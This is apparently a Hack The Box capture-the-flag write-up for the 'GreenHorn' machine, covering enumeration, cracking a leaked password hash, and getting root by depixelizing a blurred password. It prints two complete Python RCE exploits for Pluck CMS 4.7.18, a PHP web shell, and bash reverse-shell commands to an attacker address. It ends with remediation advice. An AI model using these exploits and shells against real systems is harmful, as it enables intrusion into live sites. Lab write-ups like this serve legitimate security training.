GreenHorn
Initial Enumeration¶
Nmap¶
Start the enumeration with Nmap, gathering ports and services available.
As always -p-
and --min-rate 10000
to catch all ports, and once acquired we enumerate further.
$ sudo nmap -sC -sV -p22,80,3000 -vv -oN nmap 10.129.87.59
# Nmap 7.94SVN scan initiated Fri Dec 6 13:43:07 2024 as: /usr/lib/nmap/nmap -sC -sV -p22,80,3000 -oN nmap -vv 10.129.87.59
Nmap scan report for 10.129.87.59
Host is up, received echo-reply ttl 63 (0.023s latency).
Scanned at 2024-12-06 13:43:08 CET for 93s
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack ttl 63 OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 57:d6:92:8a:72:44:84:17:29:eb:5c:c9:63:6a:fe:fd (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBOp+cK9ugCW282Gw6Rqe+Yz+5fOGcZzYi8cmlGmFdFAjI1347tnkKumDGK1qJnJ1hj68bmzOONz/x1CMeZjnKMw=
| 256 40:ea:17:b1:b6:c5:3f:42:56:67:4a:3c:ee:75:23:2f (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIEZQbCc8u6r2CVboxEesTZTMmZnMuEidK9zNjkD2RGEv
80/tcp open http syn-ack ttl 63 nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://greenhorn.htb/
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
3000/tcp open ppp? syn-ack ttl 63
| fingerprint-strings:
| GenericLines, Help, RTSPRequest:
| HTTP/1.1 400 Bad Request
| Content-Type: text/plain; charset=utf-8
| Connection: close
| Request
| GetRequest:
| HTTP/1.0 200 OK
| Cache-Control: max-age=0, private, must-revalidate, no-transform
| Content-Type: text/html; charset=utf-8
| Set-Cookie: i_like_gitea=6d4e351f0099e873; Path=/; HttpOnly; SameSite=Lax
| Set-Cookie: _csrf=D80EaSvmwOqhy1QQwN41klKKPKU6MTczMzQ4ODk5NTYyMDg2MjQ2Nw; Path=/; Max-Age=86400; HttpOnly; SameSite=Lax
| X-Frame-Options: SAMEORIGIN
| Date: Fri, 06 Dec 2024 12:43:15 GMT
| <!DOCTYPE html>
| <html lang="en-US" class="theme-auto">
| <head>
| <meta name="viewport" content="width=device-width, initial-scale=1">
| <title>GreenHorn</title>
| <link rel="manifest" href="data:application/json;base64,eyJuYW1lIjoiR3JlZW5Ib3JuIiwic2hvcnRfbmFtZSI6IkdyZWVuSG9ybiIsInN0YXJ0X3VybCI6Imh0dHA6Ly9ncmVlbmhvcm4uaHRiOjMwMDAvIiwiaWNvbnMiOlt7InNyYyI6Imh0dHA6Ly9ncmVlbmhvcm4uaHRiOjMwMDAvYXNzZXRzL2ltZy9sb2dvLnBuZyIsInR5cGUiOiJpbWFnZS9wbmciLCJzaXplcyI6IjUxMng1MTIifSx7InNyYyI6Imh0dHA6Ly9ncmVlbmhvcm4uaHRiOjMwMDAvYX
| HTTPOptions:
| HTTP/1.0 405 Method Not Allowed
| Allow: HEAD
| Allow: GET
| Cache-Control: max-age=0, private, must-revalidate, no-transform
| Set-Cookie: i_like_gitea=c7418bc923bfd1c3; Path=/; HttpOnly; SameSite=Lax
| Set-Cookie: _csrf=LUNQtcvrdIyfLW65LWplcX-lApE6MTczMzQ4OTAwMTAzNDY4Mzk3NA; Path=/; Max-Age=86400; HttpOnly; SameSite=Lax
| X-Frame-Options: SAMEORIGIN
| Date: Fri, 06 Dec 2024 12:43:21 GMT
|_ Content-Length: 0
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port3000-TCP:V=7.94SVN%I=7%D=12/6%Time=6752F162%P=x86_64-pc-linux-gnu%r
SF:(GenericLines,67,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nContent-Type:\x
SF:20text/plain;\x20charset=utf-8\r\nConnection:\x20close\r\n\r\n400\x20Ba
SF:d\x20Request")%r(GetRequest,1000,"HTTP/1\.0\x20200\x20OK\r\nCache-Contr
SF:ol:\x20max-age=0,\x20private,\x20must-revalidate,\x20no-transform\r\nCo
SF:ntent-Type:\x20text/html;\x20charset=utf-8\r\nSet-Cookie:\x20i_like_git
SF:ea=6d4e351f0099e873;\x20Path=/;\x20HttpOnly;\x20SameSite=Lax\r\nSet-Coo
SF:kie:\x20_csrf=D80EaSvmwOqhy1QQwN41klKKPKU6MTczMzQ4ODk5NTYyMDg2MjQ2Nw;\x
SF:20Path=/;\x20Max-Age=86400;\x20HttpOnly;\x20SameSite=Lax\r\nX-Frame-Opt
SF:ions:\x20SAMEORIGIN\r\nDate:\x20Fri,\x2006\x20Dec\x202024\x2012:43:15\x
SF:20GMT\r\n\r\n<!DOCTYPE\x20html>\n<html\x20lang=\"en-US\"\x20class=\"the
SF:me-auto\">\n<head>\n\t<meta\x20name=\"viewport\"\x20content=\"width=dev
SF:ice-width,\x20initial-scale=1\">\n\t<title>GreenHorn</title>\n\t<link\x
SF:20rel=\"manifest\"\x20href=\"data:application/json;base64,eyJuYW1lIjoiR
SF:3JlZW5Ib3JuIiwic2hvcnRfbmFtZSI6IkdyZWVuSG9ybiIsInN0YXJ0X3VybCI6Imh0dHA6
SF:Ly9ncmVlbmhvcm4uaHRiOjMwMDAvIiwiaWNvbnMiOlt7InNyYyI6Imh0dHA6Ly9ncmVlbmh
SF:vcm4uaHRiOjMwMDAvYXNzZXRzL2ltZy9sb2dvLnBuZyIsInR5cGUiOiJpbWFnZS9wbmciLC
SF:JzaXplcyI6IjUxMng1MTIifSx7InNyYyI6Imh0dHA6Ly9ncmVlbmhvcm4uaHRiOjMwMDAvY
SF:X")%r(Help,67,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nContent-Type:\x20t
SF:ext/plain;\x20charset=utf-8\r\nConnection:\x20close\r\n\r\n400\x20Bad\x
SF:20Request")%r(HTTPOptions,197,"HTTP/1\.0\x20405\x20Method\x20Not\x20All
SF:owed\r\nAllow:\x20HEAD\r\nAllow:\x20GET\r\nCache-Control:\x20max-age=0,
SF:\x20private,\x20must-revalidate,\x20no-transform\r\nSet-Cookie:\x20i_li
SF:ke_gitea=c7418bc923bfd1c3;\x20Path=/;\x20HttpOnly;\x20SameSite=Lax\r\nS
SF:et-Cookie:\x20_csrf=LUNQtcvrdIyfLW65LWplcX-lApE6MTczMzQ4OTAwMTAzNDY4Mzk
SF:3NA;\x20Path=/;\x20Max-Age=86400;\x20HttpOnly;\x20SameSite=Lax\r\nX-Fra
SF:me-Options:\x20SAMEORIGIN\r\nDate:\x20Fri,\x2006\x20Dec\x202024\x2012:4
SF:3:21\x20GMT\r\nContent-Length:\x200\r\n\r\n")%r(RTSPRequest,67,"HTTP/1\
SF:.1\x20400\x20Bad\x20Request\r\nContent-Type:\x20text/plain;\x20charset=
SF:utf-8\r\nConnection:\x20close\r\n\r\n400\x20Bad\x20Request");
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Read data files from: /usr/share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Fri Dec 6 13:44:41 2024 -- 1 IP address (1 host up) scanned in 93.80 seconds
- TTL of 63 possibly indicating Linux and no containers in use
- Port 22 SSH and showing us Ubuntu Linux
- Port 80 HTTP redirects to
http://greenhorn.htb/
- Port 3000 HTTP reveals
gitea
with cookies
Port 80¶
We add greenhorn.htb
to our /etc/hosts
file and browse to the website.
http://greenhorn.htb/?file=welcome-to-greenhorn
From the footer we can see the pluck CMS is being used by the website.
We can also see the file
parameter being used, which we can quickly check for an LFI vulnerability. We try it with the payload ../../../../../../etc/passwd
but get blocked:
We can also try to fingerprint the version of pluck being used. We do this by issuing the curl
command:
$ curl -s 'http://greenhorn.htb/?file=welcome-to-greenhorn' | grep -i pluck
<meta name="generator" content="pluck 4.7.18" />
<a href="/login.php">admin</a> | powered by <a href="http://www.pluck-cms.org">pluck</a>
And we see the instance is running version 4.7.18, which is vulnerable to a stored XSS as well as an RCE. However it is an authenticated RCE, so we need to be logged in (see Exploitation).
Port 3000¶
Next up we can check the Gitea website running on port 3000.
We browse to Explore
and find the GreenHorn
repository being publicly accessible.
It is safe to assume that this is the source code for the website running on port 80.
Browsing through the repository we can find sensitive information being exposed in the pass.php
file:
This is most likely a password hash and looking like SHA. To get the correct SHA-X we count the characters:
$ echo 'd5443aef1b64544f3685bf112f6c405218c573c7279a831b1fe9612e3a4d770486743c5580556c0d838b51749de15530f87fb793afdcc689b6b39024d7790163' | wc -c
129
This is a SHA-512 hash and we conclude this because SHA-512 means 512 bits, thus meaning 64 bytes. The hash is represented in hex format, so 128 characters matches the 64 bytes.
We try decrypting it the easy way with CrackStation first, before going with Hashcat
.
And it successfully cracks as iloveyou1
.
We try password reuse on the pluck instance on port 80 and get successfully logged in. This allows us to proceed with the RCE exploit.
Exploitation¶
Running a quick searchsploit
check reveals an RCE as well as stored XSS vulnerability for the version of pluck used by the website:
$ searchsploit pluck 4.7.18
------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
Exploit Title | Path
------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
Pluck v4.7.18 - Remote Code Execution (RCE) | php/webapps/51592.py
pluck v4.7.18 - Stored Cross-Site Scripting (XSS) | php/webapps/51420.txt
------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
Shellcodes: No Results
Papers: No Results
Info
In the following are two ways to achieve successful remote code execution, by using the proof-of-concept RCE script as well as by writing our own Python script.
We copy the RCE to our working directory
$ searchsploit -m php/webapps/51592.py
Exploit: Pluck v4.7.18 - Remote Code Execution (RCE)
URL: https://www.exploit-db.com/exploits/51592
Path: /usr/share/exploitdb/exploits/php/webapps/51592.py
Codes: N/A
Verified: False
File Type: Python script, Unicode text, UTF-8 text executable
Copied to: /home/kali/htb/greenhorn/51592.py
For the exploit to work, we need to find the login.php
and admin.php
pages, as defined in the script. Luckily they can be easily found by just browsing to http://greenhorn.htb/login.php
and same for and http://greenhorn.htb/admin.php
.
Next is to adjust the script to our situation by editing the login_url
, upload_url
and rce_url
variables as well as change the password we found for the login_payload
variable. We use the greenhorn.htb
host instead of localhost
and adjust the URIs.
import requests
from requests_toolbelt.multipart.encoder import MultipartEncoder
login_url = "http://greenhorn.htb/login.php"
upload_url = "http://greenhorn.htb/admin.php?action=installmodule"
headers = {"Referer": login_url,}
login_payload = {"cont1": "admin","bogus": "","submit": "Log in"}
file_path = input("ZIP file path: ")
multipart_data = MultipartEncoder(
fields={
"sendfile": ("mirabbas.zip", open(file_path, "rb"), "application/zip"),
"submit": "Upload"
}
)
session = requests.Session()
login_response = session.post(login_url, headers=headers, data=login_payload)
if login_response.status_code == 200:
print("Login account")
upload_headers = {
"Referer": upload_url,
"Content-Type": multipart_data.content_type
}
upload_response = session.post(upload_url, headers=upload_headers, data=multipart_data)
if upload_response.status_code == 200:
print("ZIP file download.")
else:
print("ZIP file download error. Response code:", upload_response.status_code)
else:
print("Login problem. response code:", login_response.status_code)
rce_url="http://greenhorn.htb/data/modules/mirabbas/miri.php"
rce=requests.get(rce_url)
print(rce.text)
Before running the exploit we need to create our payload as a PHP file and create a ZIP archive with it. The script above uses the filenames miri.php
for the PHP and mirabbas.zip
for the ZIP file name, so we mirror these names.
For our PHP file we create a simple PHP web shell:
And save it as miri.php
.
Next we zip it up.
We are now ready to run the exploit.
$ python3 51592.py
ZIP file path: /home/kali/htb/greenhorn/mirabbas.zip
Login account
ZIP file download.

Having code execution confirmed, we can now get a reverse shell connection in order to more easily interact with the target host.
$ curl -s 'http://greenhorn.htb/data/modules/mirabbas/miri.php' --get --data-urlencode "cmd=bash -c 'bash -i >& /dev/tcp/10.10.16.11/7777 0>&1'"
And we successfully get a reverse shell connection established on our listener:
$ rlwrap -cAr nc -lvnp 7777
listening on [any] 7777 ...
connect to [10.10.16.11] from (UNKNOWN) [10.129.87.59] 44768
bash: cannot set terminal process group (996): Inappropriate ioctl for device
bash: no job control in this shell
www-data@greenhorn:~/html/pluck/data/modules/mirabbas$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
www-data@greenhorn:~/html/pluck/data/modules/mirabbas$ hostname
greenhorn
From the found RCE we can copy the URLs and write our own script. The script can also be found on my GitHub.
import requests
import argparse
from termcolor import colored
import zipfile
import os
def main():
parser = argparse.ArgumentParser(description="Exploit Pluck v4.7.18 RCE Vulnerability")
parser.add_argument("--target",required=True,help="Target URL (Example: http://greenhorn.htb)")
parser.add_argument("--password",required=True,help="Pluck password")
parser.add_argument("--cmd",help="Command to execute")
args = parser.parse_args()
# Create payload
filename = 'malicious'
print(f"[+] Creating payload {filename}.zip")
with open(f'{filename}.php','w') as _file:
_file.write('<?php system($_GET["cmd"]); ?>')
with zipfile.ZipFile(f'{filename}.zip','w') as _zip:
_zip.write(f'{filename}.php')
os.remove(f'{filename}.php')
target = args.target.rstrip('/')
# URLs
login_url = f"{target}/login.php"
upload_url = f"{target}/admin.php?action=installmodule"
rce_url = f"{target}/data/modules/{filename}/{filename}.php"
with requests.Session() as sess:
# Login
print(f"[+] Logging in")
login_post = sess.post(login_url,data={"cont1":f"{args.password}","bogus":"","submit":"Log+in"})
if "Password incorrect" in login_post.text:
print(colored(f"[!] Login failed using password {args.password}",'red'))
return
print(f"[+] Login successful")
print(f"[+] Uploading {filename}.zip")
# Upload malicious ZIP
req = sess.post(upload_url, data={"submit":"Upload"}, files={"sendfile":open(f'{filename}.zip', 'rb')})
# Check successful command execution
req = sess.get(f'{rce_url}?cmd=id')
if not (req.status_code == 200):
print(colored(f"[!] Exploit might have failed\n[!] Check {rce_url}",'yellow'))
os.remove(f'{filename}.zip')
return
print(colored(f"[+] Upload successful\n[+] Access web shell at {rce_url}?cmd=<COMMAND>",'green'))
# Execute user-supplied command
if args.cmd:
print(f"[+] Executing command \'{args.cmd}\'\n")
cmd_encoded = requests.utils.quote(args.cmd)
req = sess.get(f"{rce_url}?cmd={cmd_encoded}")
print(req.text)
os.remove(f'{filename}.zip')
if __name__ == "__main__":
main()
Then we can run the exploit, specifying the command we wish to execute. In this case we choose to execute a command that will establish a reverse shell connection to our listener.
$ python3 pluck-rce.py --target http://greenhorn.htb --password iloveyou1 --cmd "bash -c 'bash -i >& /dev/tcp/10.10.16.11/7777 0>&1'"
[+] Creating payload malicious.zip
[+] Logging in
[+] Login successful
[+] Uploading malicious.zip
[+] Upload successful
[+] Access web shell at http://greenhorn.htb/data/modules/malicious/malicious.php?cmd=<COMMAND>
[+] Executing command 'bash -c 'bash -i >& /dev/tcp/10.10.16.11/7777 0>&1''
And we get successfully get a connection established on our listener:
$ rlwrap -cAr nc -lvnp 7777
listening on [any] 7777 ...
connect to [10.10.16.25] from (UNKNOWN) [10.129.78.209] 38982
bash: cannot set terminal process group (1003): Inappropriate ioctl for device
bash: no job control in this shell
www-data@greenhorn:~/html/pluck/data/modules/malicious$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
www-data@greenhorn:~/html/pluck/data/modules/malicious$ hostname
greenhorn
Host Enumeration¶
Once we are on the host with our reverse shell, we can do some manual enumeration on it and see two users being present:
$ cat /etc/passwd | grep sh$
cat /etc/passwd | grep sh$
root:x:0:0:root:/root:/bin/bash
git:x:114:120:Git Version Control,,,:/home/git:/bin/bash
junior:x:1000:1000::/home/junior:/bin/bash
And trying for password reuse (using iloveyou1
) we can successfully authenticate as user junior
:
We upgrade the shell to a TTY.
The user flag can be found in the home directory of junior
.
We can also find Using OpenVAS.pdf
file in juniors home directory. First we transfer over to our local attack machine.
We start an upload server on our attack machine.
$ python3 -m uploadserver 8080
File upload available at /upload
Serving HTTP on 0.0.0.0 port 8080 (http://0.0.0.0:8080/) ...
Next on the target host we upload the file using curl:
And we successfully receive the file on our local machine.
10.129.87.59 - - [07/Dec/2024 17:38:25] [Uploaded] "Using OpenVAS.pdf" --> /home/kali/htb/greenhorn/Using OpenVAS.pdf
10.129.87.59 - - [07/Dec/2024 17:38:25] "POST /upload HTTP/1.1" 204 -
Privilege Escalation¶
Opening the PDF document, we can see the following:
A blurred out password is present, which can potentially be abused using depixelization tools.
In the following we use the Depix tool to try this approach.
We first need to extract the blurred password image. So right-click on the blurred text and save as image.
Once saved, we can run the Depix
tool on the image from within the cloned Depix
repository directory:
We try a few <IMAGE_PNG>
images inside the ./images/searchimages/
directory on the pixelated image we saved and open them:
Eventually we can unblur the image using the following search image:
$ python3 depix.py -p ~/htb/greenhorn/pixel.png -s images/searchimages/debruinseq_notepad_Windows10_closeAndSpaced.png
This reveals a readable password, spelling sidefromsidetheothersidesidefromsidetheotherside
.
Since the PDF mentioned that "only the root user" can execute the openvas
command using this password, it is safe to assume that this is the password for the root user.
So we try to login as the root user:
$ su -l
Password: sidefromsidetheothersidesidefromsidetheotherside
root@greenhorn:~# id
uid=0(root) gid=0(root) groups=0(root)
root@greenhorn:~# hostname
greenhorn
And we successfully escalated privileges and can get the root flag.
Resources¶
- Depix tool
- Depix blog post about image depixelization
- Alternative tool Unredacter
- Unredacter blog post about image depixelization
Remediation¶
- Gitea sensitive information disclosure. Exclude pass.php using
Git
excludes. - Gitea use stronger password, so it is less susceptible to cracking attempts.
- Patch vulnerable version of Pluck CMS.
- Do not reuse passwords.
- Dont blur images to try and hide sensitive information, as they can often be depixelized back to to readable format. Use
syntax or put a bar over the field containing sensitive information.